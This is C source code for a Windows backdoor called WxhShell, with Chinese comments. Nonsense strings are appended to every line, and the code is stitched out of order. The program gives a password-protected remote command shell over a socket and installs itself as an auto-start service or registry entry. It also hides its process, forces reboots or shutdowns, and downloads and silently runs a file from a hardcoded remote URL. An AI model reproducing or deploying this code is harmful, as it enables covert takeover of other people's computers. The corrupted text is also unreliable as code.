    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \-Mzs 0R  
    if(Boot(SHUTDOWN)) ^b=9{.5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5"=qVmT)  
    else { |'xVU8  
    closesocket(wsh); wiXdb[[#  
    ExitThread(0); p9ligs7V'  
    } Mj2o>N2,  
    break; 01VEz 8[\  
    } s+;J`_M  
  // 获取shell y#Je%tAe 2  
  case 's': { |[/[*hDZ9  
    CmdShell(wsh); 3A'vq2beM  
    closesocket(wsh); O)78 iEXi|  
    ExitThread(0); kGsd3t!'  
    break; m?I$XAE  
  } rnvKfTpZDU  
  // 退出 RHc63b\  
  case 'x': { 8C1 'g7A<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WZ @/'[  
    CloseIt(wsh); eHUr!zH:  
    break; D7.|UG?G  
    } `wRQ-<Y  
  // 离开 >h+[#3vD  
  case 'q': { 9~8 A>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1oq5|2p  
    closesocket(wsh); ;Z%PBMa  
    WSACleanup(); ^s z4-+>  
    exit(1); -F.A1{l[.  
    break; kk_$j_0  
        } ZPHiR4fQli  
  } 69#D,ME?  
  } n]$50_@  
o  RT<h  
  // 提示信息 "J|_1!9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jiS|ara"  
} Id`?yt  
  } !QK ~l  
XRi/O)98o  
  return; ts BPQ 8Ne  
} o4I&?d7;"  
rv>K0= t0  
// shell模块句柄 3KFw0(S/  
int CmdShell(SOCKET sock) rO8Q||@>A  
{ WVaIC$Y  
STARTUPINFO si; Z|&Y1k-h  
ZeroMemory(&si,sizeof(si)); )aY^k|I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H"hL+F^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0Y7b$~n'Y  
PROCESS_INFORMATION ProcessInfo; e_3KNQ`kA  
char cmdline[]="cmd"; Z]-C,8MM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tEEeek(!  
  return 0; ? U~}uG^  
} -oGJPl{r  
@o&.]FZs  
// 自身启动模式 -cW`qWbd  
int StartFromService(void) 1QHCX*_  
{ ;DWtCtD  
typedef struct ISo{>@a-  
{ OE,uw2uaT  
  DWORD ExitStatus; 0fc]RkHs"  
  DWORD PebBaseAddress; Vg1! u+`<  
  DWORD AffinityMask; z:PH _N~  
  DWORD BasePriority; xgl~4  
  ULONG UniqueProcessId; HA}pr6Z  
  ULONG InheritedFromUniqueProcessId; iy&*5U  
}   PROCESS_BASIC_INFORMATION; ZSL:q%:.  
/($!("b  
PROCNTQSIP NtQueryInformationProcess; ![O@{/  
W?W vT` T{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~z''kH=e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fneg[K  
z!09vDB^  
  HANDLE             hProcess; ,l[h9J  
  PROCESS_BASIC_INFORMATION pbi; gR `:)>  
.f'iod-   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LM_/:  
  if(NULL == hInst ) return 0; !*8x>,/>  
?Z}n0E `  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^/+0L[R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,}&E=5MF\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D7Y5q*F  
f3h&K}x  
  if (!NtQueryInformationProcess) return 0; \Fh k>  
1k@k2rE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }`/wj  
  if(!hProcess) return 0; nU"V@_?\  
gI A{6,A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q?C)5(  
7#Qa/[? D  
  CloseHandle(hProcess); x/$s:[0B#  
H~~I6D{8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W-Cf#o  
if(hProcess==NULL) return 0; k fx<T  
w;$@</  
HMODULE hMod; kP%Hg/f/Ot  
char procName[255]; mY9u/; dK  
unsigned long cbNeeded; QjfQoT F  
lj"L Q(^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2aUz.k8o  
\\jB@O  
  CloseHandle(hProcess); 6l#1E#]|  
(^g?/i1@d  
if(strstr(procName,"services")) return 1; // 以服务启动 n<:/ X tE  
EmNB}\IYU  
  return 0; // 注册表启动 tkdhT8_  
} Y_`D5c:  
MBCA%3z08  
// 主模块 =$5[uI2  
int StartWxhshell(LPSTR lpCmdLine) iUh_rX9A"  
{ GK}?*Lf s  
  SOCKET wsl; z]>aWH}$  
BOOL val=TRUE; &)Z8Qu  
  int port=0; ~c!zTe  
  struct sockaddr_in door; -5\aL"?4  
Pi6C1uY6  
  if(wscfg.ws_autoins) Install(); H<`[,t  
XzQ=8r>l  
port=atoi(lpCmdLine); !?tWWU%P)  
:^kP?  
if(port<=0) port=wscfg.ws_port; kETA3(h'  
 Xvs{2  
  WSADATA data; ~0?p @8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p)ta c*US  
o<-%)#e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `. %;|"xR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NpD}7t<EF  
  door.sin_family = AF_INET; lGPC)Hu{`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cFUYT$8>  
  door.sin_port = htons(port); LF%1)x  
LH 4-b-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3HbHl?-UNU  
closesocket(wsl); /db?ltb  
return 1; ,@='.Qs4g  
} 0 P/A  
-7ct+3"J  
  if(listen(wsl,2) == INVALID_SOCKET) { LO.4sO  
closesocket(wsl); q~trn'X>  
return 1; Hh;w\)/%j  
} z9HQFRbo[  
  Wxhshell(wsl); -f9M*7O<gf  
  WSACleanup(); CR934TE+  
LEhku4U.  
return 0; CG9X3%xO%  
Z(K[oUJx  
} &;)~bS(   
xxkP4,(p  
// 以NT服务方式启动 10#!{].#x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #C+Gk4"w  
{ qoZ*sV  
DWORD   status = 0; 3jS=  
  DWORD   specificError = 0xfffffff; YfMe69/0I  
=_":Z!_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y ga}8DU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WKah$l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2)j\Lg_M  
  serviceStatus.dwWin32ExitCode     = 0; iLmU|jdE  
  serviceStatus.dwServiceSpecificExitCode = 0; ys#M* {?  
  serviceStatus.dwCheckPoint       = 0; ]3={o3[:  
  serviceStatus.dwWaitHint       = 0; CPVKz   
\=N tbBL$[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -m|b2g}"3  
  if (hServiceStatusHandle==0) return; Dx <IS^>i  
,o9)ohw  
status = GetLastError(); :ZL>JVk  
  if (status!=NO_ERROR) {t=Nnc15K  
{ ,x Tbt4J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'oT}jI  
    serviceStatus.dwCheckPoint       = 0; ^F"*;8$  
    serviceStatus.dwWaitHint       = 0; Q|ik\  
    serviceStatus.dwWin32ExitCode     = status; (Wx)YI  
    serviceStatus.dwServiceSpecificExitCode = specificError; COHJJONR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l4/TJ%`MG  
    return; 4|2$b:t  
  } `%ENGB|  
%x927I>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?ft_  
  serviceStatus.dwCheckPoint       = 0; 1)YFEU&]  
  serviceStatus.dwWaitHint       = 0; mefmoZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5t<]|-i!  
} M:I,j  
f%|S>(   
// 处理NT服务事件,比如:启动、停止 ttsB'|p s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /GXO2zO  
{ L3GJq{t  
switch(fdwControl) [e}]K:  
{ D/:)rj14b  
case SERVICE_CONTROL_STOP: e`~q ;?:  
  serviceStatus.dwWin32ExitCode = 0; #KK(Z \;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CYn}wkz  
  serviceStatus.dwCheckPoint   = 0; 5o3_x ~e  
  serviceStatus.dwWaitHint     = 0; SW; b E  
  { u]2k%TUY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZbrE m  
  } gU~)(|Nu.  
  return; +>3c+h,%.  
case SERVICE_CONTROL_PAUSE: }O>Zu[8a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x$Oz0[  
  break; f2u2Ns0Ym  
case SERVICE_CONTROL_CONTINUE: 7_3O]e[8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |{ [i M  
  break; =B:poh[u  
case SERVICE_CONTROL_INTERROGATE: &7W6IM   
  break; h0eo:Ahi  
}; i\ Vpp8<B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E\zhxiI  
} 3?XLHMxW  
VM!x)i9z  
// 标准应用程序主函数 OZ" <V^"`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3a qmK.`H  
{ sy?>e*-{  
a82mC r  
// 获取操作系统版本 3k<#;(  
OsIsNt=GetOsVer(); d<Os TA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H_j<%VW  
_tk5?9Ykn  
  // 从命令行安装 uJ`&hX  
  if(strpbrk(lpCmdLine,"iI")) Install(); +i^s\c!3;  
` Z/ IW  
  // 下载执行文件 U. aa iX7  
if(wscfg.ws_downexe) { &~%@QC/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a  98  
  WinExec(wscfg.ws_filenam,SW_HIDE); *[H+8/n_  
} 3ngLEWT  
m%[t&^b}T  
if(!OsIsNt) { nnG2z@$-  
// 如果时win9x,隐藏进程并且设置为注册表启动 $dP)8_Z2  
HideProc(); qX(%Wn;n  
StartWxhshell(lpCmdLine); ;}~=W!yz  
} !_9$[Oq~  
else  YBD{l  
  if(StartFromService()) F[ EblJ  
  // 以服务方式启动 k&/ )g3(N(  
  StartServiceCtrlDispatcher(DispatchTable); qN[7zsaj  
else x+cF1 N2.  
  // 普通方式启动 =%\6}xPEl<  
  StartWxhshell(lpCmdLine); 'pY;]^M  
-;\+uV  
return 0; 4w( vRe  
} @;fE%N  
N1~V +_mM  
LUNs|\&  
8 %j{4$  
=========================================== @$P!#z  
Zd U{`>v  
E`fssd~  
[ 5W#1 &  
y8vH?^:%<  
<cv1$ x ~P  
" g&3#22z  
IZ0$=aB7  
#include <stdio.h> /iy*3P,`  
#include <string.h> TucAs 0-bF  
#include <windows.h> RLz`aBT  
#include <winsock2.h> CQHp4_  
#include <winsvc.h> =O#AOw`  
#include <urlmon.h> 18"VB50b}  
>&vO4L  
#pragma comment (lib, "Ws2_32.lib") "qTC(F9N$.  
#pragma comment (lib, "urlmon.lib") G;HlII9x[  
S@xsAib0J  
#define MAX_USER   100 // 最大客户端连接数 wUCDJY:,1  
#define BUF_SOCK   200 // sock buffer @B'8SLoP  
#define KEY_BUFF   255 // 输入 buffer 6IY}SI0N  
pR6A#DgB  
#define REBOOT     0   // 重启 .Spi$>v  
#define SHUTDOWN   1   // 关机 Sq|1f?_gU  
)fMX!#KP  
#define DEF_PORT   5000 // 监听端口 N9=r#![>,  
UW/3{2  
#define REG_LEN     16   // 注册表键长度 HS`bto0*  
#define SVC_LEN     80   // NT服务名长度 oiv2rOFu  
^?X ^+  
// 从dll定义API SZ2q}[o`R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *[xNp[4EU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J7?)$,ij%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5'kTe=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -hVv  
^Em@6fz[  
// wxhshell配置信息 B!r48<p  
struct WSCFG { loC5o|Wh  
  int ws_port;         // 监听端口 5{ 4"JO3  
  char ws_passstr[REG_LEN]; // 口令 {"0TO|%x  
  int ws_autoins;       // 安装标记, 1=yes 0=no <Id1:  
  char ws_regname[REG_LEN]; // 注册表键名 2u~c/JryN  
  char ws_svcname[REG_LEN]; // 服务名 W\>^[c/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (]}x[F9l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u_4:#~b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y/@;c)1b9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DYAwQ"i;6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W. J:.|kt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FI`nRFq)C  
17 i<4f#  
}; yul<n>X|  
npO@Haw  
// default Wxhshell configuration )l!J$X+R  
struct WSCFG wscfg={DEF_PORT, 6`DwEs?Y{  
    "xuhuanlingzhe", zL)1^[%O9  
    1, Q$?7)yyu+  
    "Wxhshell", C`NBHRa>  
    "Wxhshell", c YM CfP  
            "WxhShell Service", |t&G&)~:  
    "Wrsky Windows CmdShell Service", yfM>8"h@  
    "Please Input Your Password: ", {WYu 0J@  
  1, tA! M  
  "http://www.wrsky.com/wxhshell.exe", 24H^ hN9  
  "Wxhshell.exe" Gg=aK~q6  
    }; &TP:yA[  
u[V4OU}%  
// 消息定义模块 ~t{D5#LVHa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'A@qg^e:`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V17>j0Ev$W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7oZ@<QP'  
char *msg_ws_ext="\n\rExit."; f$1Gu  
char *msg_ws_end="\n\rQuit."; '[>\N4WD  
char *msg_ws_boot="\n\rReboot..."; bGZ hUEq  
char *msg_ws_poff="\n\rShutdown..."; j>$=SMc  
char *msg_ws_down="\n\rSave to "; ]> nPqL  
t MxsR >sH  
char *msg_ws_err="\n\rErr!"; p!HPp Ef+#  
char *msg_ws_ok="\n\rOK!"; $Cz1C  
z $9@j2  
char ExeFile[MAX_PATH]; c@RT$Q9j  
int nUser = 0; OD  
HANDLE handles[MAX_USER]; SX1X< 9  
int OsIsNt;  EX[B/YH  
nGq]$h  
SERVICE_STATUS       serviceStatus; N7e`6d!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F;IP3tD  
W3 De|V^  
// 函数声明 /Jh1rck  
int Install(void); lemVP'cn  
int Uninstall(void); Qo'yS"g<9)  
int DownloadFile(char *sURL, SOCKET wsh); yOX&cZ[  
int Boot(int flag); O4m(Er@a  
void HideProc(void); S-isL4D.Z  
int GetOsVer(void); ?TIV2m^?  
int Wxhshell(SOCKET wsl); n4^~gT%b5]  
void TalkWithClient(void *cs); vTpStoUM  
int CmdShell(SOCKET sock); Ba/RO36&c  
int StartFromService(void); qOW#Q:T  
int StartWxhshell(LPSTR lpCmdLine); ?F ce!J  
 ci`zR9Ks  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >eQbipn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `-4'/~G  
/r276Q  
// 数据结构和表定义 d'ZS;l   
SERVICE_TABLE_ENTRY DispatchTable[] =  ( :  
{ zm3-C%:Bw  
{wscfg.ws_svcname, NTServiceMain}, !6M Bxg>  
{NULL, NULL} y>$1 UwQ  
}; gdl| ^*tc  
O]t\B *%}  
// 自我安装 s8^~NX(xdy  
int Install(void) RL6Vkd?  
{ @|BD|{k  
  char svExeFile[MAX_PATH]; >W r$Y{  
  HKEY key; cg,Ua!c  
  strcpy(svExeFile,ExeFile); rOW;yJ[  
:V-k'hm &  
// 如果是win9x系统,修改注册表设为自启动 s2^B(wP  
if(!OsIsNt) { $ADPV,*gG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h}h^L+4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s _~IZ%+<.  
  RegCloseKey(key); Tp?-* K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FqwIJ|ct  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _%{0?|=  
  RegCloseKey(key); }S */b1  
  return 0; I+|uU g5  
    } Yrxk Kw#  
  } qEQAn/&  
} MWs~#ReZ  
else { (0OM "`j  
K\(6 rS}N  
// 如果是NT以上系统,安装为系统服务 9/@ &*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]v\^&7pW  
if (schSCManager!=0) - IU4#s  
{ M\9F:.t=  
  SC_HANDLE schService = CreateService @r<b:?u  
  ( :H?f*aw  
  schSCManager, .*Vkua  
  wscfg.ws_svcname, Efx=T$%^&  
  wscfg.ws_svcdisp, 4&{!M _  
  SERVICE_ALL_ACCESS, 1HbFtU`y~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z]=8eV\  
  SERVICE_AUTO_START, Qdu$Os  
  SERVICE_ERROR_NORMAL, \GL*0NJ  
  svExeFile,  qSTWb%  
  NULL, Xwq]f :@V  
  NULL, 514Z<omrK  
  NULL, 9i=B  
  NULL, 6+3$:?  
  NULL _Yq@FOu  
  ); [b/o$zR  
  if (schService!=0) &94W-zh  
  { E'EcP4eL  
  CloseServiceHandle(schService); AnMV <  
  CloseServiceHandle(schSCManager); ".P){Dep$4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G\=_e8(  
  strcat(svExeFile,wscfg.ws_svcname);  3-|3`(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vtyx`F f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4h8*mMghs  
  RegCloseKey(key); hw=GR_,  
  return 0; 8lP6-VA  
    } m`}{V5;  
  } r N5tI.iC  
  CloseServiceHandle(schSCManager); sg AzL  
} A@$kLex  
} =a$Oecg?  
g"K>5Cb  
return 1; <)U4Xz?  
} V.=lGhi  
.L EY=j!-s  
// 自我卸载 lH2wG2  
int Uninstall(void) M%`\P\A  
{ RMP9y$~3pU  
  HKEY key; PsnGXcj  
X`JV R"=4  
if(!OsIsNt) { QDTNx!WL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j0mM>X HB  
  RegDeleteValue(key,wscfg.ws_regname); 7%;_kFRV  
  RegCloseKey(key); v }\,o%t^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9 OT,TpA  
  RegDeleteValue(key,wscfg.ws_regname); ynwG\V  
  RegCloseKey(key); 'V&Y[7Aeq  
  return 0; t ^SzqB  
  } 0-d>I@j  
} dl~|Izm  
} {38bv. 3'  
else { PXk?aJ  
& ,hr8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /)L 0`:I#  
if (schSCManager!=0) ]$b2a&r9  
{ @)6jE!LC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v]VWDT `  
  if (schService!=0) 3V<&|  
  { "TOa=Tt{,  
  if(DeleteService(schService)!=0) { 1;F`c`0<  
  CloseServiceHandle(schService); >3.X?  
  CloseServiceHandle(schSCManager); * ?Jz2[B  
  return 0;  jN*:QI  
  } Ond'R'3\E  
  CloseServiceHandle(schService); j2 %^qL  
  } z@ 35NZn  
  CloseServiceHandle(schSCManager); +9;2xya2  
} EcL-V>U# M  
}  ti@kKz  
}T_Te?<&  
return 1; S.*~C0"  
} zZ-\a[F  
RP4Ku9hk  
// 从指定url下载文件 1GCzyBSbb  
int DownloadFile(char *sURL, SOCKET wsh) Fr2N[\>s  
{ jNDx,7F-  
  HRESULT hr; Di.3113t  
char seps[]= "/"; )?! [}t  
char *token; Ah69 _>N`S  
char *file; iA }vKQ  
char myURL[MAX_PATH]; [^YA=K hu  
char myFILE[MAX_PATH]; Ol_q{^  
!^c@shLN4  
strcpy(myURL,sURL); iUk-'   
  token=strtok(myURL,seps); @C_KV0i  
  while(token!=NULL)  >w6taX  
  { zmuMWT;  
    file=token; q'[}9e`Q  
  token=strtok(NULL,seps); rh*sbZ68>E  
  } 5Qwh(C^H  
aW_oD[l  
GetCurrentDirectory(MAX_PATH,myFILE); Y$K!7Kq  
strcat(myFILE, "\\"); bBcp9C)iY  
strcat(myFILE, file); iSLGwTdLn  
  send(wsh,myFILE,strlen(myFILE),0); yM.IxpT#$  
send(wsh,"...",3,0); Uh eC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $lA V6I.  
  if(hr==S_OK) E(pF:po  
return 0; a 3SlxsWW  
else e>rRTN  
return 1; +gd2|`#  
:e1o<JgPt  
} BAj-akc f  
9I7\D8r  
// 系统电源模块 ) /vhclkb  
int Boot(int flag) h5_G4J{1  
{ hY5WJ;  
  HANDLE hToken; 1F'1>Bu~  
  TOKEN_PRIVILEGES tkp; @!N-RQ&A  
`N//A}9  
  if(OsIsNt) { 'n QVj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '+>fFM,*B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rPNb\Ri  
    tkp.PrivilegeCount = 1; +6$g! S5{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s&kQlQ=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  MTER(L  
if(flag==REBOOT) { u=F+(NE"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i@5[FC  
  return 0; SnlyUP~P  
} N/$`:8"  
else { <:/&&@2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }eQRN<}P  
  return 0; #PDf,^  
} r=/;iH?UH  
  } 7'-Lp@an  
  else { uJHu>M}~  
if(flag==REBOOT) { 1(zsOeX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jc[_I&Oc_  
  return 0; RgorkZlVM  
} (iJ1 ;x  
else { (bOpV>\Q7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P&d"V<  
  return 0; $&s=68  
} "\Egs)\  
} _zt1 9%Wg  
EV#MQM  
return 1; RCTQhTy=  
} s]T""-He  
zf4Ec-)  
// win9x进程隐藏模块 (Rk_-9_E.  
void HideProc(void) i&njqK!wS  
{ {e|*01hE  
ONNpiK-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B/5=]R  
  if ( hKernel != NULL ) 2)#K+O3c  
  { \Gm-MpW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4L-:*b_v\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wxm:7$4C  
    FreeLibrary(hKernel); ccCzu6  
  } i |{Dd%4vK  
"G-1>:   
return; 5qg2Zc~  
} =ji1S}e~p  
8<mjh0F-,  
// 获取操作系统版本 0JgL2ayIVI  
int GetOsVer(void) Lb{e,JH  
{ RH}A  
  OSVERSIONINFO winfo; t1VH doNN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HL/bS/KX  
  GetVersionEx(&winfo); < B_Vc:Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +\li*G]:J  
  return 1; \BWyk A>  
  else <<D$+@wxm  
  return 0; @i^~0A#q*  
} Hk>79};  
n~g)I&  
// 客户端句柄模块 ?JV|dM  
int Wxhshell(SOCKET wsl) #jAqra._b  
{ x^"E S%*  
  SOCKET wsh; aNyvNEV3C  
  struct sockaddr_in client; )}TLC 2%  
  DWORD myID; fzjU<?}  
_k^0m  
  while(nUser<MAX_USER) pV6d Id  
{ "<}&GcJbz  
  int nSize=sizeof(client); BmHwu{n'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )1g"?]  
  if(wsh==INVALID_SOCKET) return 1; Kj=b[ e%  
0y&I/2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {pb>$G:gfx  
if(handles[nUser]==0) Qu,8t 8  
  closesocket(wsh); T#pk]c6Q  
else O]f/r,4@  
  nUser++; )2,eFNB#n  
  } E;21?`x5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v/*Y#(X  
%4 \OPw&  
  return 0; _C\[DR0n  
} y~IuPc  
XC7%vDIt  
// 关闭 socket M MzGd:0b  
void CloseIt(SOCKET wsh) $+}+zZX5  
{ 1<ro7A4hK  
closesocket(wsh); 9w9jpe#  
nUser--; ;n\= R 5.  
ExitThread(0); B3Jgd,[  
} :';L/x>  
A]L%dFK  
// 客户端请求句柄 j@Qg0F  
void TalkWithClient(void *cs) bqanFQj  
{ R:p62c;Tv0  
%p&k5:4<"#  
  SOCKET wsh=(SOCKET)cs; b;|55Y  
  char pwd[SVC_LEN]; ~) ?  
  char cmd[KEY_BUFF]; [OOS`N4<  
char chr[1]; `V[!@b:  
int i,j; 5>J=YLq  
c:83LZ  
  while (nUser < MAX_USER) { ^$%Z! uz  
)Qm[[pnj  
if(wscfg.ws_passstr) { "uLjIIl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +!f=jg06  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ( 6(x'ByT  
  //ZeroMemory(pwd,KEY_BUFF); E1;@=#t2i  
      i=0; %LXM+<N8  
  while(i<SVC_LEN) { "o& E2#  
(wc03,K^  
  // 设置超时 +l^LlqA  
  fd_set FdRead; 5-)#f?  
  struct timeval TimeOut; >hY" 3  
  FD_ZERO(&FdRead); |}){}or  
  FD_SET(wsh,&FdRead); 6io, uh!  
  TimeOut.tv_sec=8; UZ8?[  
  TimeOut.tv_usec=0; nS()u}c;r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U $Qv>7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Hn,:`mj4-6  
K.gEj*@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z -%(~  
  pwd=chr[0]; 61U<5:#l  
  if(chr[0]==0xd || chr[0]==0xa) { ,2oF:H  
  pwd=0; R~bC,`Bh  
  break; c62=*] ,  
  } HaA1z}?n  
  i++; )hwV`2>l  
    } 7j5f ;O^+  
2tayP@$  
  // 如果是非法用户,关闭 socket \b[9ebME  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )a}"^1  
} hzI *{  
)o!XWh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5 =(c%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ozsxXBh-`'  
@{h?+ d  
while(1) { %7Kooq(i  
xr0haN\p"  
  ZeroMemory(cmd,KEY_BUFF); $o@R^sJ  
\qi|Js*{  
      // 自动支持客户端 telnet标准   ]E3U J!!  
  j=0; qDWsvx]  
  while(j<KEY_BUFF) { m?s}QGSka  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bg|!'1bD`5  
  cmd[j]=chr[0]; sqx` ">R  
  if(chr[0]==0xa || chr[0]==0xd) { F#xa`*AP  
  cmd[j]=0; Ou'?]{  
  break; Y}6n]n;uR  
  } }awzO#  
  j++; ? _\$  
    } (3\Xy   
r!}al5~&  
  // 下载文件 QbhW!9(,  
  if(strstr(cmd,"http://")) { H* !EP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %/kyT%1  
  if(DownloadFile(cmd,wsh)) G;gJNK"e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 ;Qlu  
  else A5#y?Aq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v"+k~:t*  
  } C@o%J.9"#  
  else { (_* wt]"'  
A`O<6   
